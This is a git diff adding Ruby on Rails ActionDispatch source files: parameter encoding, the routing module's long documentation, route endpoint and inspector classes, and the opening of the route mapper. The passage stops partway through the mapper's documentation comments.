+            # ActionDispatch::Request#GET will re-raise as a BadRequest error.
+            raise Rack::Utils::InvalidParameterError, "Invalid encoding for parameter: #{params.scrub}"
+          end
+        end
+      end
+
+      class ParamEncoder # :nodoc:
+        # Convert nested Hash to HashWithIndifferentAccess.
+        def self.normalize_encode_params(params)
+          case params
+          when Array
+            handle_array params
+          when Hash
+            if params.has_key?(:tempfile)
+              ActionDispatch::Http::UploadedFile.new(params)
+            else
+              params.each_with_object({}) do |(key, val), new_hash|
+                new_hash[key] = normalize_encode_params(val)
+              end.with_indifferent_access
+            end
+          else
+            params
+          end
+        end
+
+        def self.handle_array(params)
+          params.map! { |el| normalize_encode_params(el) }
+        end
+      end
+
+      # Remove nils from the params hash.
+      class NoNilParamEncoder < ParamEncoder # :nodoc:
+        def self.handle_array(params)
+          list = super
+          list.compact!
+          list
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
new file mode 100644
index 0000000000..72f7407c6e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -0,0 +1,260 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+
+module ActionDispatch
+  # The routing module provides URL rewriting in native Ruby. It's a way to
+  # redirect incoming requests to controllers and actions. This replaces
+  # mod_rewrite rules. Best of all, Rails' \Routing works with any web server.
+  # Routes are defined in <tt>config/routes.rb</tt>.
+  #
+  # Think of creating routes as drawing a map for your requests. The map tells
+  # them where to go based on some predefined pattern:
+  #
+  #   Rails.application.routes.draw do
+  #     Pattern 1 tells some request to go to one place
+  #     Pattern 2 tell them to go to another
+  #     ...
+  #   end
+  #
+  # The following symbols are special:
+  #
+  #   :controller maps to your controller name
+  #   :action     maps to an action with your controllers
+  #
+  # Other names simply map to a parameter as in the case of <tt>:id</tt>.
+  #
+  # == Resources
+  #
+  # Resource routing allows you to quickly declare all of the common routes
+  # for a given resourceful controller. Instead of declaring separate routes
+  # for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+
+  # actions, a resourceful route declares them in a single line of code:
+  #
+  #  resources :photos
+  #
+  # Sometimes, you have a resource that clients always look up without
+  # referencing an ID. A common example, /profile always shows the profile of
+  # the currently logged in user. In this case, you can use a singular resource
+  # to map /profile (rather than /profile/:id) to the show action.
+  #
+  #  resource :profile
+  #
+  # It's common to have resources that are logically children of other
+  # resources:
+  #
+  #   resources :magazines do
+  #     resources :ads
+  #   end
+  #
+  # You may wish to organize groups of controllers under a namespace. Most
+  # commonly, you might group a number of administrative controllers under
+  # an +admin+ namespace. You would place these controllers under the
+  # <tt>app/controllers/admin</tt> directory, and you can group them together
+  # in your router:
+  #
+  #   namespace "admin" do
+  #     resources :posts, :comments
+  #   end
+  #
+  # Alternatively, you can add prefixes to your path without using a separate
+  # directory by using +scope+. +scope+ takes additional options which
+  # apply to all enclosed routes.
+  #
+  #   scope path: "/cpanel", as: 'admin' do
+  #     resources :posts, :comments
+  #   end
+  #
+  # For more, see <tt>Routing::Mapper::Resources#resources</tt>,
+  # <tt>Routing::Mapper::Scoping#namespace</tt>, and
+  # <tt>Routing::Mapper::Scoping#scope</tt>.
+  #
+  # == Non-resourceful routes
+  #
+  # For routes that don't fit the <tt>resources</tt> mold, you can use the HTTP helper
+  # methods <tt>get</tt>, <tt>post</tt>, <tt>patch</tt>, <tt>put</tt> and <tt>delete</tt>.
+  #
+  #   get 'post/:id' => 'posts#show'
+  #   post 'post/:id' => 'posts#create_comment'
+  #
+  # Now, if you POST to <tt>/posts/:id</tt>, it will route to the <tt>create_comment</tt> action. A GET on the same
+  # URL will route to the <tt>show</tt> action.
+  #
+  # If your route needs to respond to more than one HTTP method (or all methods) then using the
+  # <tt>:via</tt> option on <tt>match</tt> is preferable.
+  #
+  #   match 'post/:id' => 'posts#show', via: [:get, :post]
+  #
+  # == Named routes
+  #
+  # Routes can be named by passing an <tt>:as</tt> option,
+  # allowing for easy reference within your source as +name_of_route_url+
+  # for the full URL and +name_of_route_path+ for the URI path.
+  #
+  # Example:
+  #
+  #   # In config/routes.rb
+  #   get '/login' => 'accounts#login', as: 'login'
+  #
+  #   # With render, redirect_to, tests, etc.
+  #   redirect_to login_url
+  #
+  # Arguments can be passed as well.
+  #
+  #   redirect_to show_item_path(id: 25)
+  #
+  # Use <tt>root</tt> as a shorthand to name a route for the root path "/".
+  #
+  #   # In config/routes.rb
+  #   root to: 'blogs#index'
+  #
+  #   # would recognize http://www.example.com/ as
+  #   params = { controller: 'blogs', action: 'index' }
+  #
+  #   # and provide these named routes
+  #   root_url   # => 'http://www.example.com/'
+  #   root_path  # => '/'
+  #
+  # Note: when using +controller+, the route is simply named after the
+  # method you call on the block parameter rather than map.
+  #
+  #   # In config/routes.rb
+  #   controller :blog do
+  #     get 'blog/show'     => :list
+  #     get 'blog/delete'   => :delete
+  #     get 'blog/edit'     => :edit
+  #   end
+  #
+  #   # provides named routes for show, delete, and edit
+  #   link_to @article.title, blog_show_path(id: @article.id)
+  #
+  # == Pretty URLs
+  #
+  # Routes can generate pretty URLs. For example:
+  #
+  #   get '/articles/:year/:month/:day' => 'articles#find_by_id', constraints: {
+  #     year:       /\d{4}/,
+  #     month:      /\d{1,2}/,
+  #     day:        /\d{1,2}/
+  #   }
+  #
+  # Using the route above, the URL "http://localhost:3000/articles/2005/11/06"
+  # maps to
+  #
+  #   params = {year: '2005', month: '11', day: '06'}
+  #
+  # == Regular Expressions and parameters
+  # You can specify a regular expression to define a format for a parameter.
+  #
+  #   controller 'geocode' do
+  #     get 'geocode/:postalcode' => :show, constraints: {
+  #       postalcode: /\d{5}(-\d{4})?/
+  #     }
+  #   end
+  #
+  # Constraints can include the 'ignorecase' and 'extended syntax' regular
+  # expression modifiers:
+  #
+  #   controller 'geocode' do
+  #     get 'geocode/:postalcode' => :show, constraints: {
+  #       postalcode: /hx\d\d\s\d[a-z]{2}/i
+  #     }
+  #   end
+  #
+  #   controller 'geocode' do
+  #     get 'geocode/:postalcode' => :show, constraints: {
+  #       postalcode: /# Postalcode format
+  #          \d{5} #Prefix
+  #          (-\d{4})? #Suffix
+  #          /x
+  #     }
+  #   end
+  #
+  # Using the multiline modifier will raise an +ArgumentError+.
+  # Encoding regular expression modifiers are silently ignored. The
+  # match will always use the default encoding or ASCII.
+  #
+  # == External redirects
+  #
+  # You can redirect any path to another path using the redirect helper in your router:
+  #
+  #   get "/stories" => redirect("/posts")
+  #
+  # == Unicode character routes
+  #
+  # You can specify unicode character routes in your router:
+  #
+  #   get "こんにちは" => "welcome#index"
+  #
+  # == Routing to Rack Applications
+  #
+  # Instead of a String, like <tt>posts#index</tt>, which corresponds to the
+  # index action in the PostsController, you can specify any Rack application
+  # as the endpoint for a matcher:
+  #
+  #   get "/application.js" => Sprockets
+  #
+  # == Reloading routes
+  #
+  # You can reload routes if you feel you must:
+  #
+  #   Rails.application.reload_routes!
+  #
+  # This will clear all named routes and reload config/routes.rb if the file has been modified from
+  # last load. To absolutely force reloading, use <tt>reload!</tt>.
+  #
+  # == Testing Routes
+  #
+  # The two main methods for testing your routes:
+  #
+  # === +assert_routing+
+  #
+  #   def test_movie_route_properly_splits
+  #    opts = {controller: "plugin", action: "checkout", id: "2"}
+  #    assert_routing "plugin/checkout/2", opts
+  #   end
+  #
+  # +assert_routing+ lets you test whether or not the route properly resolves into options.
+  #
+  # === +assert_recognizes+
+  #
+  #   def test_route_has_options
+  #    opts = {controller: "plugin", action: "show", id: "12"}
+  #    assert_recognizes opts, "/plugins/show/12"
+  #   end
+  #
+  # Note the subtle difference between the two: +assert_routing+ tests that
+  # a URL fits options while +assert_recognizes+ tests that a URL
+  # breaks into parameters properly.
+  #
+  # In tests you can simply pass the URL or named route to +get+ or +post+.
+  #
+  #   def send_to_jail
+  #     get '/jail'
+  #     assert_response :success
+  #   end
+  #
+  #   def goes_to_login
+  #     get login_url
+  #     #...
+  #   end
+  #
+  # == View a list of all your routes
+  #
+  #   rails routes
+  #
+  # Target specific controllers by prefixing the command with <tt>-c</tt> option.
+  #
+  module Routing
+    extend ActiveSupport::Autoload
+
+    autoload :Mapper
+    autoload :RouteSet
+    autoload :RoutesProxy
+    autoload :UrlFor
+    autoload :PolymorphicRoutes
+
+    SEPARATORS = %w( / . ? ) #:nodoc:
+    HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/endpoint.rb b/actionpack/lib/action_dispatch/routing/endpoint.rb
new file mode 100644
index 0000000000..e911b6537b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/endpoint.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Routing
+    class Endpoint # :nodoc:
+      def dispatcher?;   false; end
+      def redirect?;     false; end
+      def matches?(req); true;  end
+      def app;           self;  end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
new file mode 100644
index 0000000000..b2868b7427
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -0,0 +1,225 @@
+# frozen_string_literal: true
+
+require "delegate"
+require "active_support/core_ext/string/strip"
+
+module ActionDispatch
+  module Routing
+    class RouteWrapper < SimpleDelegator
+      def endpoint
+        app.dispatcher? ? "#{controller}##{action}" : rack_app.inspect
+      end
+
+      def constraints
+        requirements.except(:controller, :action)
+      end
+
+      def rack_app
+        app.app
+      end
+
+      def path
+        super.spec.to_s
+      end
+
+      def name
+        super.to_s
+      end
+
+      def reqs
+        @reqs ||= begin
+          reqs = endpoint
+          reqs += " #{constraints}" unless constraints.empty?
+          reqs
+        end
+      end
+
+      def controller
+        parts.include?(:controller) ? ":controller" : requirements[:controller]
+      end
+
+      def action
+        parts.include?(:action) ? ":action" : requirements[:action]
+      end
+
+      def internal?
+        internal
+      end
+
+      def engine?
+        rack_app.respond_to?(:routes)
+      end
+    end
+
+    ##
+    # This class is just used for displaying route information when someone
+    # executes `rails routes` or looks at the RoutingError page.
+    # People should not use this class.
+    class RoutesInspector # :nodoc:
+      def initialize(routes)
+        @engines = {}
+        @routes = routes
+      end
+
+      def format(formatter, filter = nil)
+        routes_to_display = filter_routes(normalize_filter(filter))
+        routes = collect_routes(routes_to_display)
+        if routes.none?
+          formatter.no_routes(collect_routes(@routes))
+          return formatter.result
+        end
+
+        formatter.header routes
+        formatter.section routes
+
+        @engines.each do |name, engine_routes|
+          formatter.section_title "Routes for #{name}"
+          formatter.section engine_routes
+        end
+
+        formatter.result
+      end
+
+      private
+
+        def normalize_filter(filter)
+          if filter.is_a?(Hash) && filter[:controller]
+            { controller: /#{filter[:controller].downcase.sub(/_?controller\z/, '').sub('::', '/')}/ }
+          elsif filter
+            { controller: /#{filter}/, action: /#{filter}/, verb: /#{filter}/, name: /#{filter}/, path: /#{filter}/ }
+          end
+        end
+
+        def filter_routes(filter)
+          if filter
+            @routes.select do |route|
+              route_wrapper = RouteWrapper.new(route)
+              filter.any? { |default, value| route_wrapper.send(default) =~ value }
+            end
+          else
+            @routes
+          end
+        end
+
+        def collect_routes(routes)
+          routes.collect do |route|
+            RouteWrapper.new(route)
+          end.reject(&:internal?).collect do |route|
+            collect_engine_routes(route)
+
+            { name: route.name,
+              verb: route.verb,
+              path: route.path,
+              reqs: route.reqs }
+          end
+        end
+
+        def collect_engine_routes(route)
+          name = route.endpoint
+          return unless route.engine?
+          return if @engines[name]
+
+          routes = route.rack_app.routes
+          if routes.is_a?(ActionDispatch::Routing::RouteSet)
+            @engines[name] = collect_routes(routes.routes)
+          end
+        end
+    end
+
+    class ConsoleFormatter
+      def initialize
+        @buffer = []
+      end
+
+      def result
+        @buffer.join("\n")
+      end
+
+      def section_title(title)
+        @buffer << "\n#{title}:"
+      end
+
+      def section(routes)
+        @buffer << draw_section(routes)
+      end
+
+      def header(routes)
+        @buffer << draw_header(routes)
+      end
+
+      def no_routes(routes)
+        @buffer <<
+        if routes.none?
+          <<-MESSAGE.strip_heredoc
+          You don't have any routes defined!
+
+          Please add some routes in config/routes.rb.
+          MESSAGE
+        else
+          "No routes were found for this controller"
+        end
+        @buffer << "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html."
+      end
+
+      private
+        def draw_section(routes)
+          header_lengths = ["Prefix", "Verb", "URI Pattern"].map(&:length)
+          name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
+
+          routes.map do |r|
+            "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
+          end
+        end
+
+        def draw_header(routes)
+          name_width, verb_width, path_width = widths(routes)
+
+          "#{"Prefix".rjust(name_width)} #{"Verb".ljust(verb_width)} #{"URI Pattern".ljust(path_width)} Controller#Action"
+        end
+
+        def widths(routes)
+          [routes.map { |r| r[:name].length }.max || 0,
+           routes.map { |r| r[:verb].length }.max || 0,
+           routes.map { |r| r[:path].length }.max || 0]
+        end
+    end
+
+    class HtmlTableFormatter
+      def initialize(view)
+        @view = view
+        @buffer = []
+      end
+
+      def section_title(title)
+        @buffer << %(<tr><th colspan="4">#{title}</th></tr>)
+      end
+
+      def section(routes)
+        @buffer << @view.render(partial: "routes/route", collection: routes)
+      end
+
+      # The header is part of the HTML page, so we don't construct it here.
+      def header(routes)
+      end
+
+      def no_routes(*)
+        @buffer << <<-MESSAGE.strip_heredoc
+          <p>You don't have any routes defined!</p>
+          <ul>
+            <li>Please add some routes in <tt>config/routes.rb</tt>.</li>
+            <li>
+              For more information about routes, please see the Rails guide
+              <a href="http://guides.rubyonrails.org/routing.html">Rails Routing from the Outside In</a>.
+            </li>
+          </ul>
+          MESSAGE
+      end
+
+      def result
+        @view.raw @view.render(layout: "routes/table") {
+          @view.raw @buffer.join("\n")
+        }
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
new file mode 100644
index 0000000000..28809d7e67
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -0,0 +1,2256 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/slice"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/regexp"
+require_relative "redirection"
+require_relative "endpoint"
+
+module ActionDispatch
+  module Routing
+    class Mapper
+      URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port]
+
+      class Constraints < Routing::Endpoint #:nodoc:
+        attr_reader :app, :constraints
+
+        SERVE = ->(app, req) { app.serve req }
+        CALL  = ->(app, req) { app.call req.env }
+
+        def initialize(app, constraints, strategy)
+          # Unwrap Constraints objects. I don't actually think it's possible
+          # to pass a Constraints object to this constructor, but there were
+          # multiple places that kept testing children of this object. I
+          # *think* they were just being defensive, but I have no idea.
+          if app.is_a?(self.class)
+            constraints += app.constraints
+            app = app.app
+          end
+
+          @strategy = strategy
+
+          @app, @constraints, = app, constraints
+        end
+
+        def dispatcher?; @strategy == SERVE; end
+
+        def matches?(req)
+          @constraints.all? do |constraint|
+            (constraint.respond_to?(:matches?) && constraint.matches?(req)) ||
+              (constraint.respond_to?(:call) && constraint.call(*constraint_args(constraint, req)))
+          end
+        end
+
+        def serve(req)
+          return [ 404, { "X-Cascade" => "pass" }, [] ] unless matches?(req)
+
+          @strategy.call @app, req
+        end
+
+        private
+          def constraint_args(constraint, request)
+            constraint.arity == 1 ? [request] : [request.path_parameters, request]
+          end
+      end
+
+      class Mapping #:nodoc:
+        ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
+        OPTIONAL_FORMAT_REGEX = %r{(?:\(\.:format\)+|\.:format|/)\Z}
+
+        attr_reader :requirements, :defaults
+        attr_reader :to, :default_controller, :default_action
+        attr_reader :required_defaults, :ast
+
+        def self.build(scope, set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options)
+          options = scope[:options].merge(options) if scope[:options]
+
+          defaults = (scope[:defaults] || {}).dup
+          scope_constraints = scope[:constraints] || {}
+
+          new set, ast, defaults, controller, default_action, scope[:module], to, formatted, scope_constraints, scope[:blocks] || [], via, options_constraints, anchor, options
+        end
+
+        def self.check_via(via)
+          if via.empty?
+            msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
+              "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \
+              "If you want to expose your action to GET, use `get` in the router:\n" \
+              "  Instead of: match \"controller#action\"\n" \
+              "  Do: get \"controller#action\""
+            raise ArgumentError, msg
+          end
+          via
+        end
+
+        def self.normalize_path(path, format)
+          path = Mapper.normalize_path(path)
+
+          if format == true
+            "#{path}.:format"
+          elsif optional_format?(path, format)
+            "#{path}(.:format)"
+          else
+            path
+          end
+        end
+
+        def self.optional_format?(path, format)
+          format != false && path !~ OPTIONAL_FORMAT_REGEX
+        end
+
+        def initialize(set, ast, defaults, controller, default_action, modyoule, to, formatted, scope_constraints, blocks, via, options_constraints, anchor, options)
+          @defaults = defaults
+          @set = set
+
+          @to                 = to
+          @default_controller = controller
+          @default_action     = default_action
+          @ast                = ast
+          @anchor             = anchor
+          @via                = via
+          @internal           = options.delete(:internal)
+
+          path_params = ast.find_all(&:symbol?).map(&:to_sym)
+
+          options = add_wildcard_options(options, formatted, ast)
+
+          options = normalize_options!(options, path_params, modyoule)
+
+          split_options = constraints(options, path_params)
+
+          constraints = scope_constraints.merge Hash[split_options[:constraints] || []]
+
+          if options_constraints.is_a?(Hash)
+            @defaults = Hash[options_constraints.find_all { |key, default|
+              URL_OPTIONS.include?(key) && (String === default || Integer === default)
+            }].merge @defaults
+            @blocks = blocks
+            constraints.merge! options_constraints
+          else
+            @blocks = blocks(options_constraints)
+          end
+
+          requirements, conditions = split_constraints path_params, constraints
+          verify_regexp_requirements requirements.map(&:last).grep(Regexp)
+
+          formats = normalize_format(formatted)
+
+          @requirements = formats[:requirements].merge Hash[requirements]
+          @conditions = Hash[conditions]
+          @defaults = formats[:defaults].merge(@defaults).merge(normalize_defaults(options))
+
+          if path_params.include?(:action) && !@requirements.key?(:action)
+            @defaults[:action] ||= "index"
+          end
+
+          @required_defaults = (split_options[:required_defaults] || []).map(&:first)
+        end
+
+        def make_route(name, precedence)
+          route = Journey::Route.new(name,
+                            application,
+                            path,
+                            conditions,
+                            required_defaults,
+                            defaults,
+                            request_method,
+                            precedence,
+                            @internal)
+
+          route
+        end
+
+        def application
+          app(@blocks)
+        end
+
+        def path
+          build_path @ast, requirements, @anchor
+        end
+
+        def conditions
+          build_conditions @conditions, @set.request_class
+        end
+
+        def build_conditions(current_conditions, request_class)
+          conditions = current_conditions.dup
+
+          conditions.keep_if do |k, _|
+            request_class.public_method_defined?(k)
+          end
+        end
+        private :build_conditions
+
+        def request_method
+          @via.map { |x| Journey::Route.verb_matcher(x) }
+        end
+        private :request_method
+
+        JOINED_SEPARATORS = SEPARATORS.join # :nodoc:
+
+        def build_path(ast, requirements, anchor)
+          pattern = Journey::Path::Pattern.new(ast, requirements, JOINED_SEPARATORS, anchor)
+
+          # Find all the symbol nodes that are adjacent to literal nodes and alter
+          # the regexp so that Journey will partition them into custom routes.
+          ast.find_all { |node|
+            next unless node.cat?
+
+            if node.left.literal? && node.right.symbol?
+              symbol = node.right
+            elsif node.left.literal? && node.right.cat? && node.right.left.symbol?
+              symbol = node.right.left
+            elsif node.left.symbol? && node.right.literal?
+              symbol = node.left
+            elsif node.left.symbol? && node.right.cat? && node.right.left.literal?
+              symbol = node.left
+            else
+              next
+            end
+
+            if symbol
+              symbol.regexp = /(?:#{Regexp.union(symbol.regexp, '-')})+/
+            end
+          }
+
+          pattern
+        end
+        private :build_path
+
+        private
+          def add_wildcard_options(options, formatted, path_ast)
+            # Add a constraint for wildcard route to make it non-greedy and match the
+            # optional format part of the route by default.
+            if formatted != false
+              path_ast.grep(Journey::Nodes::Star).each_with_object({}) { |node, hash|
+                hash[node.name.to_sym] ||= /.+?/
+              }.merge options
+            else
+              options
+            end
+          end
+
+          def normalize_options!(options, path_params, modyoule)
+            if path_params.include?(:controller)
+              raise ArgumentError, ":controller segment is not allowed within a namespace block" if modyoule
+
+              # Add a default constraint for :controller path segments that matches namespaced
+              # controllers with default routes like :controller/:action/:id(.:format), e.g:
+              # GET /admin/products/show/1
+              # => { controller: 'admin/products', action: 'show', id: '1' }
+              options[:controller] ||= /.+?/
+            end
+
+            if to.respond_to?(:action) || to.respond_to?(:call)
+              options
+            else
+              to_endpoint = split_to to
+              controller  = to_endpoint[0] || default_controller
+              action      = to_endpoint[1] || default_action
+
+              controller = add_controller_module(controller, modyoule)
+
+              options.merge! check_controller_and_action(path_params, controller, action)
+            end
+          end
+
+          def split_constraints(path_params, constraints)
+            constraints.partition do |key, requirement|
+              path_params.include?(key) || key == :controller
+            end
+          end
+
+          def normalize_format(formatted)
+            case formatted
+            when true
+              { requirements: { format: /.+/ },
+                defaults:     {} }
+            when Regexp
+              { requirements: { format: formatted },
+                defaults:     { format: nil } }
+            when String
+              { requirements: { format: Regexp.compile(formatted) },
+                defaults:     { format: formatted } }
+            else
+              { requirements: {}, defaults: {} }
+            end
+          end
+
+          def verify_regexp_requirements(requirements)
+            requirements.each do |requirement|
+              if requirement.source =~ ANCHOR_CHARACTERS_REGEX
+                raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
+              end
+
+              if requirement.multiline?
+                raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
+              end
+            end
+          end
+
+          def normalize_defaults(options)
+            Hash[options.reject { |_, default| Regexp === default }]
+          end
+
+          def app(blocks)
+            if to.respond_to?(:action)
+              Routing::RouteSet::StaticDispatcher.new to
+            elsif to.respond_to?(:call)
+              Constraints.new(to, blocks, Constraints::CALL)
+            elsif blocks.any?
+              Constraints.new(dispatcher(defaults.key?(:controller)), blocks, Constraints::SERVE)
+            else
+              dispatcher(defaults.key?(:controller))
+            end
+          end
+
+          def check_controller_and_action(path_params, controller, action)
+            hash = check_part(:controller, controller, path_params, {}) do |part|
+              translate_controller(part) {
+                message = "'#{part}' is not a supported controller name. This can lead to potential routing problems.".dup
+                message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
+
+                raise ArgumentError, message
+              }
+            end
+
+            check_part(:action, action, path_params, hash) { |part|
+              part.is_a?(Regexp) ? part : part.to_s
+            }
+          end
+
+          def check_part(name, part, path_params, hash)
+            if part
+              hash[name] = yield(part)
+            else
+              unless path_params.include?(name)
+                message = "Missing :#{name} key on routes definition, please check your routes."
+                raise ArgumentError, message
+              end
+            end
+            hash
+          end
+
+          def split_to(to)
+            if to =~ /#/
+              to.split("#")
+            else
+              []
+            end
+          end
+
+          def add_controller_module(controller, modyoule)
+            if modyoule && !controller.is_a?(Regexp)
+              if controller =~ %r{\A/}
+                controller[1..-1]
+              else
+                [modyoule, controller].compact.join("/")
+              end
+            else
+              controller
+            end
+          end
+
+          def translate_controller(controller)
+            return controller if Regexp === controller
+            return controller.to_s if controller =~ /\A[a-z_0-9][a-z_0-9\/]*\z/
+
+            yield
+          end
+
+          def blocks(callable_constraint)
+            unless callable_constraint.respond_to?(:call) || callable_constraint.respond_to?(:matches?)
+              raise ArgumentError, "Invalid constraint: #{callable_constraint.inspect} must respond to :call or :matches?"
+            end
+            [callable_constraint]
+          end
+
+          def constraints(options, path_params)
+            options.group_by do |key, option|
+              if Regexp === option
+                :constraints
+              else
+                if path_params.include?(key)
+                  :path_params
+                else
+                  :required_defaults
+                end
+              end
+            end
+          end
+
+          def dispatcher(raise_on_name_error)
+            Routing::RouteSet::Dispatcher.new raise_on_name_error
+          end
+      end
+
+      # Invokes Journey::Router::Utils.normalize_path and ensure that
+      # (:locale) becomes (/:locale) instead of /(:locale). Except
+      # for root cases, where the latter is the correct one.
+      def self.normalize_path(path)
+        path = Journey::Router::Utils.normalize_path(path)
+        path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^)]+\)$}
+        path
+      end
+
+      def self.normalize_name(name)
+        normalize_path(name)[1..-1].tr("/", "_")
+      end
+
+      module Base
+        # Matches a URL pattern to one or more routes.
+        #
+        # You should not use the +match+ method in your router
+        # without specifying an HTTP method.
+        #
+        # If you want to expose your action to both GET and POST, use:
+        #
+        #   # sets :controller, :action and :id in params
+        #   match ':controller/:action/:id', via: [:get, :post]
+        #
+        # Note that +:controller+, +:action+ and +:id+ are interpreted as URL
+        # query parameters and thus available through +params+ in an action.
+        #
+        # If you want to expose your action to GET, use +get+ in the router:
+        #
+        # Instead of:
+        #
+        #   match ":controller/:action/:id"
+        #
+        # Do:
+        #
+        #   get ":controller/:action/:id"
+        #
+        # Two of these symbols are special, +:controller+ maps to the controller
+        # and +:action+ to the controller's action. A pattern can also map
+        # wildcard segments (globs) to params:
+        #
+        #   get 'songs/*category/:title', to: 'songs#show'
+        #
+        #   # 'songs/rock/classic/stairway-to-heaven' sets
+        #   #  params[:category] = 'rock/classic'
+        #   #  params[:title] = 'stairway-to-heaven'
+        #
+        # To match a wildcard parameter, it must have a name assigned to it.
+        # Without a variable name to attach the glob parameter to, the route
+        # can't be parsed.
+        #
+        # When a pattern points to an internal route, the route's +:action+ and
+        # +:controller+ should be set in options or hash shorthand. Examples:
+        #
+        #   match 'photos/:id' => 'photos#show', via: :get
+        #   match 'photos/:id', to: 'photos#show', via: :get
+        #   match 'photos/:id', controller: 'photos', action: 'show', via: :get
+        #
+        # A pattern can also point to a +Rack+ endpoint i.e. anything that
+        # responds to +call+:
+        #
+        #   match 'photos/:id', to: -> (hash) { [200, {}, ["Coming soon"]] }, via: :get
+        #   match 'photos/:id', to: PhotoRackApp, via: :get
+        #   # Yes, controller actions are just rack endpoints
+        #   match 'photos/:id', to: PhotosController.action(:show), via: :get
+        #
+        # Because requesting various HTTP verbs with a single action has security
+        # implications, you must either specify the actions in
+        # the via options or use one of the HttpHelpers[rdoc-ref:HttpHelpers]
+        # instead +match+
+        #
+        # === Options
+        #
+        # Any options not seen here are passed on as params with the URL.
+        #
+        # [:controller]
+        #   The route's controller.
+        #
+        # [:action]
+        #   The route's action.
+        #
+        # [:param]
+        #   Overrides the default resource identifier +:id+ (name of the
+        #   dynamic segment used to generate the routes).
+        #   You can access that segment from your controller using
+        #   <tt>params[<:param>]</tt>.
+        #   In your router:
+        #
+        #      resources :user, param: :name
+        #
+        #   You can override <tt>ActiveRecord::Base#to_param</tt> of a related
+        #   model to construct a URL:
+        #
+        #      class User < ActiveRecord::Base
+        #        def to_param
+        #          name
+        #        end
+        #      end
+        #
+        #   user = User.find_by(name: 'Phusion')
+        #   user_path(user)  # => "/users/Phusion"
+        #
+        # [:path]
+        #   The path prefix for the routes.
+        #
+        # [:module]
+        #   The namespace for :controller.
+        #
+        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+        #     # => Sekret::PostsController
+        #
+        #   See <tt>Scoping#namespace</tt> for its scope equivalent.
+        #
+        # [:as]
+        #   The name used to generate routing helpers.
+        #
+        # [:via]
+        #   Allowed HTTP verb(s) for route.
+        #
+        #      match 'path', to: 'c#a', via: :get
+        #      match 'path', to: 'c#a', via: [:get, :post]
+        #      match 'path', to: 'c#a', via: :all
+        #
+        # [:to]
+        #   Points to a +Rack+ endpoint. Can be an object that responds to
+        #   +call+ or a string representing a controller's action.
+        #
+        #      match 'path', to: 'controller#action', via: :get
+        #      match 'path', to: -> (env) { [200, {}, ["Success!"]] }, via: :get
+        #      match 'path', to: RackApp, via: :get
+        #
+        # [:on]
+        #   Shorthand for wrapping routes in a specific RESTful context. Valid
+        #   values are +:member+, +:collection+, and +:new+. Only use within
+        #   <tt>resource(s)</tt> block. For example:
+        #
+        #      resource :bar do
+        #        match 'foo', to: 'c#a', on: :member, via: [:get, :post]
+        #      end
+        #
+        #   Is equivalent to:
+        #
+        #      resource :bar do
+        #        member do
+        #          match 'foo', to: 'c#a', via: [:get, :post]
+        #        end
+        #      end
+        #
+        # [:constraints]
+        #   Constrains parameters with a hash of regular expressions
+        #   or an object that responds to <tt>matches?</tt>. In addition, constraints
+        #   other than path can also be specified with any object
+        #   that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
+        #
+        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
+        #
+        #     match 'json_only', constraints: { format: 'json' }, via: :get
+        #
+        #     class Whitelist
+        #       def matches?(request) request.remote_ip == '1.2.3.4' end
+        #     end
+        #     match 'path', to: 'c#a', constraints: Whitelist.new, via: :get
+        #
+        #   See <tt>Scoping#constraints</tt> for more examples with its scope
+        #   equivalent.
+        #
+        # [:defaults]
+        #   Sets defaults for parameters
+        #
+        #     # Sets params[:format] to 'jpg' by default
+        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
+        #
+        #   See <tt>Scoping#defaults</tt> for its scope equivalent.
+        #
+        # [:anchor]
+        #   Boolean to anchor a <tt>match</tt> pattern. Default is true. When set to
+        #   false, the pattern matches any request prefixed with the given path.
+        #
+        #     # Matches any request starting with 'path'
+        #     match 'path', to: 'c#a', anchor: false, via: :get
+        #
+        # [:format]
+        #   Allows you to specify the default value for optional +format+
+        #   segment or disable it by supplying +false+.
+        def match(path, options = nil)
+        end
+
+        # Mount a Rack-based application to be used within the application.
+        #
+        #   mount SomeRackApp, at: "some_route"
+        #
+        # Alternatively:
+        #
+        #   mount(SomeRackApp => "some_route")
+        #
+        # For options, see +match+, as +mount+ uses it internally.
+        #
+        # All mounted applications come with routing helpers to access them.
+        # These are named after the class specified, so for the above example
+        # the helper is either +some_rack_app_path+ or +some_rack_app_url+.
